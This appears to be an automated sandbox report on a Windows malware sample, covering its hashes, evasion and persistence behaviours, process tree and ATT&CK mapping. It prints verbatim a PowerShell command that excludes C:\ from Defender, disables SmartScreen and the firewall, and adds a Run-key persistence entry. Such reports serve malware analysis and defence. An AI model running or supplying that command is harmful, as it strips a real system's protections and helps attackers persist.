Analysis

  • max time kernel
    154s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    15-02-2022 13:36

General

  • Target

    4c8e8d525ca06a318c7845c658b9d8fd417f2b7b4c386659ac295a0b07125c7a.exe

  • Size

    3.4MB

  • MD5

    240dc3df45fd2233148581beb6cdb4b1

  • SHA1

    6a565becd793e09d7a69ff2a116f821ddc2d79b1

  • SHA256

    4c8e8d525ca06a318c7845c658b9d8fd417f2b7b4c386659ac295a0b07125c7a

  • SHA512

    0ff80f8192e3bda22f303b78eef624cd2b48fe0bc611c7acdfa48f4cd06b7bc1fcaa60710e8dcae6ccccd35bc0be3ac3e38d12c6e8e8e2d184b412d9a4e9bc52

Malware Config

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4c8e8d525ca06a318c7845c658b9d8fd417f2b7b4c386659ac295a0b07125c7a.exe
    "C:\Users\Admin\AppData\Local\Temp\4c8e8d525ca06a318c7845c658b9d8fd417f2b7b4c386659ac295a0b07125c7a.exe"
    1⤵
    • Checks BIOS information in registry
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of WriteProcessMemory
    PID:984
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
      2⤵
      • Modifies security service
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2372
      • C:\ProgramData\UpSys.exe
        "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3168
        • C:\ProgramData\UpSys.exe
          "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1636
          • C:\ProgramData\UpSys.exe
            "C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
            5⤵
            • Executes dropped EXE
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:1092
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
              6⤵
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3132
      • C:\Windows\system32\netsh.exe
        "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
        3⤵
          PID:2072
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 984 -s 2088
        2⤵
        • Program crash
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:2196
    • C:\Windows\system32\MusNotifyIcon.exe
      %systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 13
      1⤵
      • Checks processor information in registry
      PID:2008
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 448 -p 984 -ip 984
      1⤵
      • Suspicious use of NtCreateProcessExOtherParentProcess
      • Suspicious use of WriteProcessMemory
      PID:2052
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k NetworkService -p
      1⤵
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      PID:3084
    • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
      C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
      1⤵
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      PID:2372

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Modify Existing Service

    2
    T1031

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Modify Registry

    2
    T1112

    Virtualization/Sandbox Evasion

    1
    T1497

    Discovery

    Query Registry

    5
    T1012

    Virtualization/Sandbox Evasion

    1
    T1497

    System Information Discovery

    6
    T1082

    Command and Control

    Web Service

    1
    T1102

    Replay Monitor

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    Downloads

    • C:\ProgramData\UpSys.exe
      MD5

      efe5769e37ba37cf4607cb9918639932

      SHA1

      f24ca204af2237a714e8b41d54043da7bbe5393b

      SHA256

      5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

      SHA512

      33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

    • C:\ProgramData\UpSys.exe
      MD5

      efe5769e37ba37cf4607cb9918639932

      SHA1

      f24ca204af2237a714e8b41d54043da7bbe5393b

      SHA256

      5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

      SHA512

      33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

    • C:\ProgramData\UpSys.exe
      MD5

      efe5769e37ba37cf4607cb9918639932

      SHA1

      f24ca204af2237a714e8b41d54043da7bbe5393b

      SHA256

      5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

      SHA512

      33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

    • C:\ProgramData\UpSys.exe
      MD5

      efe5769e37ba37cf4607cb9918639932

      SHA1

      f24ca204af2237a714e8b41d54043da7bbe5393b

      SHA256

      5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

      SHA512

      33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

    • memory/984-132-0x00007FF708DE0000-0x00007FF70973B000-memory.dmp
      Filesize

      9.4MB

    • memory/984-130-0x00007FFB26450000-0x00007FFB26452000-memory.dmp
      Filesize

      8KB

    • memory/984-131-0x00007FF708DE0000-0x00007FF70973B000-memory.dmp
      Filesize

      9.4MB

    • memory/2372-146-0x000001AF5FB08000-0x000001AF5FB09000-memory.dmp
      Filesize

      4KB

    • memory/2372-138-0x000001AF5FB00000-0x000001AF5FB02000-memory.dmp
      Filesize

      8KB

    • memory/2372-142-0x000001AF5FB03000-0x000001AF5FB05000-memory.dmp
      Filesize

      8KB

    • memory/2372-137-0x00007FFB05963000-0x00007FFB05965000-memory.dmp
      Filesize

      8KB

    • memory/2372-143-0x000001AF5FB06000-0x000001AF5FB08000-memory.dmp
      Filesize

      8KB

    • memory/2372-139-0x000001AF5FCC0000-0x000001AF5FCE2000-memory.dmp
      Filesize

      136KB

    • memory/3132-154-0x00007FFB05F33000-0x00007FFB05F35000-memory.dmp
      Filesize

      8KB

    • memory/3132-155-0x0000017B71000000-0x0000017B71002000-memory.dmp
      Filesize

      8KB

    • memory/3132-156-0x0000017B71003000-0x0000017B71005000-memory.dmp
      Filesize

      8KB

    • memory/3132-159-0x0000017B71006000-0x0000017B71008000-memory.dmp
      Filesize

      8KB

    • memory/3132-160-0x0000017B712A0000-0x0000017B712E4000-memory.dmp
      Filesize

      272KB

    • memory/3132-161-0x0000017B71590000-0x0000017B71606000-memory.dmp
      Filesize

      472KB